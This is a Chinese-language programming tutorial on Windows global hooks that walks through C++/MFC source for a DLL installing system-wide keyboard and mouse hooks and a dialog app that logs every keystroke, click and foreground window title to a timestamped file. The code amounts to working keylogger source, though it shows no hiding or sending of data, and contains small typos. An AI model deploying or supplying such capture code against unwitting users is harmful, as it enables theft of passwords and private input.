全局钩子具体解释
监控程序的实现
我们发现一些木马或其它病毒程序经常会将我们的键盘或鼠标的操作消息记录下来然后再将它发到他们指定的地方以实现监听.这样的功能其它是利用了全局钩子将鼠标或键盘消息进行了截取,从而获得了操作的消息.要得到鼠标和键盘的控制权,我们要用SetWindowsHookEx这个函数:
HHOOK SetWindowsHookEx(
int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle to application instance
DWORD dwThreadId // identity of thread to install hook for
);
当中idHook是要安装的钩子标识即钩子的类型,lpfn是钩子函数的消息处理过程,hMod是应用程序的实例句柄,dwThreadId是要为哪个线程安装钩子.假设它为0则为所有线程都安装钩子,即为全局钩子.这就是获得所有应用程序消息控制权的開始.我们安装的钩子类型有非常多种主要是以下的:
WH_CALLWNDPROCWH_CALLWNDPROCRETWH_CBTWH_DEBUGWH_FOREGROUNDIDLEWH_GETMESSAGEWH_JOURNALPLAYBACKWH_JOURNALRECORDWH_KEYBOARDWH_KEYBOARD_LLWH_MOUSEWH_MOUSE_LLWH_MSGFILTERWH_SHELLWH_SYSMSGFILTER
当中WH_MOUSE是鼠标钩子,WH_KEYBOARD是键盘钩子.
不同的钩子相应不同的钩子过程,钩子过程的写法(以键盘钩子过程为例)是:
LRESULT CALLBACK MouseProc(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // mouse coordinates
);
钩子过程的名字是没关系的.
要取消钩子的安装能够用UnhookWindowsEx:
BOOL UnhookWindowsHookEx(
HHOOK hhk // handle to hook procedure to remove
);
以下要介绍一下怎样让每一个应用程序要安装上钩子函数,要让每一个应用程序都安装上钩子要用到动态链接库的知识,利用动态链接库载入到每一个应用程序中.
我们首先用VC6.0新建一个WINDOWS动态链接库的空project,新建一个头文件为了动态链接库本身和使用动态链接库的应用程序也能用,我们定义好导入导出宏和自己定义消息以及要导入和导出的函数的定义:
//HookDll.h
// 定义函数修饰宏。方便引用本DLLproject的导出函数
#ifdef KEYHOOKLIB_EXPORTS
#define KEYHOOKLIB_API __declspec(dllexport) //导出宏
#else
#define KEYHOOKLIB_API __declspec(dllimport) //导入宏
#endif
// 自己定义与主程序通信的消息
#define HM_KEY WM_USER + 101 //自己定义键盘消息
#define HM_MOUSE WM_USER +102 //自己定义鼠标消息
// 声明要导出的函数
BOOL KEYHOOKLIB_API WINAPI SetKeyHook(BOOL bInstall,
DWORD dwThreadId = 0, HWND hWndCaller = NULL);
BOOL KEYHOOKLIB_API WINAPI SetMouseHook(BOOL bInstall,
DWORD dwThreadId = 0, HWND hWndCaller = NULL
以下再新建一个C++源文件HookDll.cpp:
我们先包括<windows.h>头文件
再定义#define KEYHOOKLIB_EXPORTS让包括"HookDll.h"的时候,我们使用的是导出宏,
#include "HookDll.h"
#pragma data_seg("YCIShared")
HWND g_hWndCaller = NULL; // 保存主窗体句柄
HHOOK g_hHook = NULL; // 保存钩子句柄
HHOOK g_hMouseHook=NULL;
#pragma data_seg()
我们上面定义了共享的全局窗体句柄和全局的钩子标识,是为了全部应用程序都共享这三个变量.
以下是钩子函数的实现代码:
HMODULE WINAPI ModuleFromAddress(PVOID pv) //获得钩子函数的地址
{
MEMORY_BASIC_INFORMATION mbi;
if(::VirtualQuery(pv, &mbi, sizeof(mbi)) != 0)
{
return (HMODULE)mbi.AllocationBase;
}
else
{
return NULL;
}
}
LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam)// 键盘钩子函数消息过程
{
if(nCode < 0 || nCode == HC_NOREMOVE)
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
if(lParam & 0x40000000) // 消息反复就交给下一个hook链
{
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
// 通知主窗体。wParam參数为虚拟键码, lParam參数包括了此键的信息
::PostMessage(g_hWndCaller, HM_KEY, wParam, lParam); //发送自己定义键盘消息
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
BOOL WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)// 安装、卸载钩子的函数
{
BOOL bOk;
g_hWndCaller = hWndCaller;
if(bInstall)
{
g_hHook = ::SetWindowsHookEx(WH_KEYBOARD, KeyHookProc,
ModuleFromAddress(KeyHookProc), dwThreadId); //安装键盘钩子
bOk = (g_hHook != NULL);
}
else
{
bOk = ::UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
return bOk;
}
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)//鼠标钩子处理过程
{
if(nCode < 0 || nCode == HC_NOREMOVE)
return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
::PostMessage(g_hWndCaller, HM_MOUSE, wParam, lParam);//发送自己定义鼠标消息
return ::CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
}
BOOL WINAPI SetMouseHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)
{
BOOL bOk;
g_hWndCaller = hWndCaller;
if(bInstall)
{
g_hMouseHook = ::SetWindowsHookEx(WH_MOUSE, MouseProc,
ModuleFromAddress(MouseProc),dwThreadId); //安装鼠标钩子
bOk = (g_hMouseHook != NULL);
}
else
{
bOk = ::UnhookWindowsHookEx(g_hMouseHook);
g_hMouseHook = NULL;
}
return bOk;
}
最后再在project文件夹下建一个HookDll.def模块定义文件.写上下面代码
LIBRARY HookDll
EXPORTS //指明导出函数名称
SetKeyHook
SetMouseHook
SECTIONS //指明共享字段
YCIShared Read Write Shared
用了模块定义文件时,在使用动态链接库的时间就能够直接用函数名调用函数了,否则将无法找到函数.其有用模块定义文件是为了不让动态链接库发生名字改编.
有了动态链接库后我们还须要用一个应用程序来设置和记录我们的鼠标和键盘记录.
我们新建一个基于对话框的MFC应用程序projectHookApp.我们首先为我们的自己定义消息加入所需消息响应的实现代码.
在对话框类的头文件的protected以下的凝视宏中间加入
afx_msg longonHookKey(WPARAM wParam, LPARAM lParam);
afx_msg longonHookMouse(WPARAM wParam, LPARAM lParam);
指明消息处理函数,然后在对话框类的源文件里的
BEGIN_MESSAGE_MAP(CHookAppDlg, CDialog)
和END_MESSAGE_MAP之间加入以下的代码
ON_MESSAGE(HM_KEY,onHookKey)
ON_MESSAGE(HM_MOUSE,onHookMouse)
定义好后在源文件里写事实上现函数:
long CHookAppDlg::OnHookKey(WPARAM wParam, LPARAM lParam)
{
// 此时參数wParam为用户按键的虚拟键码,
// lParam參数包括按键的反复次数、扫描码、前一个按键状态等信息
char szKey[80];
::GetKeyNameText(lParam, szKey, 80); //获得按键名
CString strItem;
strItem.Format("用户按键:%s", szKey);
CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1));
pListCtrl->InsertString(-1,strItem);
CFile MyFile;
char *content;
if(!MyFile.Open(this->MyDocumentDir,
CFile::modeRead | CFile::modeWrite))
{
MyFile.Open(this->MyDocumentDir,
CFile::modeCreate);
return 0;
}
MyFile.SeekToEnd(); //移动记录指针到末尾
pListCtrl->GetText(pListCtrl->GetCount()-1,strItem);
content=strItem.GetBuffer(MAX_PATH);
MyFile.Write(content,strItem.GetLength());
CTime today=CTime::GetCurrentTime();
CString str=today.Format("/t/t%Y年%m月%d日 %H:%M:%S/r/n");
MyFile.Write(str.GetBuffer(str.GetLength()),str.GetLength());
MyFile.Close();
return 0;
}
long CHookAppDlg::OnHookMouse(WPARAM wParam, LPARAM lParam)
{
LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *)lParam;
CString strItem,strText;
CListBox *pListCtrl=((CListBox *)this->GetDlgItem(IDC_LIST1));
CPoint point;
::GetCursorPos(&point);
ClientToScreen(&point);
CWnd *pWnd=CWnd::GetForegroundWindow();
if(pWnd)
{
char str[80];
pWnd->GetWindowText(str,80);
strText.Format("窗体:%s",str);
}
CString str;
/*CString tempstr;
// ClientToScreen(&pMouseHook->pt);
int x,y;
x=pMouseHook->pt.x;
y=pMouseHook->pt.y;
tempstr.Format("X=%d,Y=%d",x,y);
strText+=tempstr;*/
if(wParam==WM_RBUTTONDOWN)
{
str.Format(" 右键单击:位置 X=%d,Y=%d",point.x,point.y);
strText+=str;
pListCtrl->InsertString(-1,strText);
this->SaveToFile(strText,pListCtrl);
}
if(wParam==WM_LBUTTONDBLCLK)
{
ScreenToClient(&point);
str.Format(" 左键双击:位置 X=%d,Y=%d",point.x,point.y);
strText+=str;
pListCtrl->InsertString(-1,strText);
this->SaveToFile(strText,pListCtrl);
}
if(wParam==WM_LBUTTONDOWN)
{
str.Format(" 左键单击:位置 X=%d,Y=%d",point.x,point.y);
//MessageBox(strText);
strText+=str;
pListCtrl->InsertString(-1,strText);
this->SaveToFile(strText,pListCtrl);
}
return 0;
}
void CHookAppDlg::SaveToFile(CString strText,CListBox *pListCtrl)
{
char *content;
CFile MyFile;
if(!MyFile.Open(this->MyDocumentDir,
CFile::modeRead | CFile::modeWrite))
{
MyFile.Open(this->MyDocumentDir,
CFile::modeCreate);
pListCtrl->InsertString(-1,"失败");
return;
}
MyFile.SeekToEnd();
content=strText.GetBuffer(strText.GetLength());
MyFile.Write(content,strText.GetLength());
CTime today=CTime::GetCurrentTime();
CString strTime=today.Format("/t/t%Y年%m月%d日 %H:%M:%S/r/n");
MyFile.Write(strTime.GetBuffer(strTime.GetLength()),strTime.GetLength());
MyFile.Close();
}
上面的代码就是实现将鼠标消息和键盘消息的操作消息加入到一个列表框中和记录到一个文件上的代码.当中this->MyDocumentDir是你要将操作消息记录到的文件路径.
在对话框初始化的时候
if(!SetKeyHook(TRUE,0, m_hWnd))
MessageBox("安装钩子失败!");
if(!SetMouseHook(TRUE,0, m_hWnd))
MessageBox("安装钩子失败!");
最后在
void CHookAppDlg::OnDestroy()
{
::SetKeyHook(FASLE);//取消安加载的钩
::SetMouseHook(FALSE);//取消安装挂钩
}
这是一个鼠标和键盘消息监听代码,您还可以使用计划其他类型的固定钩.